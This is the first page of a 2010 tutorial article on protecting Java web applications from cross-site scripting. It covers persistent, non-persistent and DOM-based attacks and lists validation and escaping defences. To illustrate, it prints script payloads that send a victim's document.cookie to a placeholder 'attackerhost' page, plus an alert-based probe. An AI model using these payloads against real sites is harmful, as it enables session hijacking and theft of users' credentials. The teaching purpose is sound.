October 31, 2014
Hot Topics:
RSS RSS feed Download our iPhone app

Make Your Java Web Applications Impervious to Cross-site Scripting

  • February 22, 2010
  • By Ramasubramanian Thiyagarajan, Vijayasaradhi Paramakusum, Sivakumar Kuppusamy
  • Send Email »
  • More Articles »

If you develop web applications, cross-site scripts are a security issue you should understand and address. Attackers use cross-site scripting to add scripts into web pages and to access users' sensitive information. The attacker inserts cross-site script code is into the user's request page, and the code runs in the user's browser. The script is written in JavaScript, VBScript and other browser-supported technologies.

If you develop Java-based web applications, you can use a filter to intercept and modify the user's request and response. Specifically, you can use server-side filtering to prevent malicious coders from requesting parameters and cookies. This article explains how to create and implement a custom filter that can guard against the various types of cross-site scripting attacks.

Types of Cross-site Scripting

There are three types of cross-site scripting attacks:

  1. Persistent
  2. Non-persistent
  3. DOM-based

Persistent

In a persistent cross-site scripting attack, the server saves the attacker's script code and then displays it on user pages. For example, many sites offer comments sections where users post comments, which the sites stored in databases. Normally, a user is tracked by session ID cookie. An attacker can add a script to track user cookies using the comments section. For example, the following script tracks user's cookie details.

<script>document.location= 'http://www. attackerhost/crack.html?'+document.cookie</script>


Non-persistent

In a non-persistent cross-site scripting attack, the attacker's script code is added by the user's query parameters or HTML form submissions. The server adds this script in the user request page and sends it back to the user without proper response validation. Here is an example of a script for getting user cookie details through a URL:

http://examplesite/index.html?jsessionid=12312312&user=<script>document.location='http://attackerhost/crack.html?'+document.cookie</script>


DOM-based

DOM-based attacks occur in the content processing performed by the client, typically in client-side JavaScript. For example, the URL http://www. examplesite /welcome.html contains the following content:

<html>
      < script >
         var pos=document.URL.indexOf("user=")+5;
         document.write(document.URL.substring(pos,document.URL.length));
      </ script >
</html>


This page will use the value from the "user" parameter in the following manner.

http://www. examplesite /welcome.html?user=siva


An attacker can abuse this by luring the client to click on a link like this:

http://www. examplesite /welcome.html?user=<script>alert(document.cookie)</script>


Client-Side Validation for Cross-Site Scripting

Use the following, fairly simple methods to eliminate cross-site scripting vulnerabilities.

  1. Client-side validation – Remove untrusted characters from input fields in forms. Attackers use JavaScript to validate the malicious characters in input fields.
  2. Escaping – Escape all untrusted data using a method appropriate for the output content. Here are the different escaping schemes for validating untrusted characters:
    1. HTML numeric entity encoding
    2. JavaScript escaping
    3. CSS escaping
    4. URL encoding
The next page explains how to use these techniques.
Tags: Java, web applications, security, filter, Cross-Site Scripting



Page 1 of 2



Comment and Contribute

 


(Maximum characters: 1200). You have characters left.

 

 


Sitemap | Contact Us

Rocket Fuel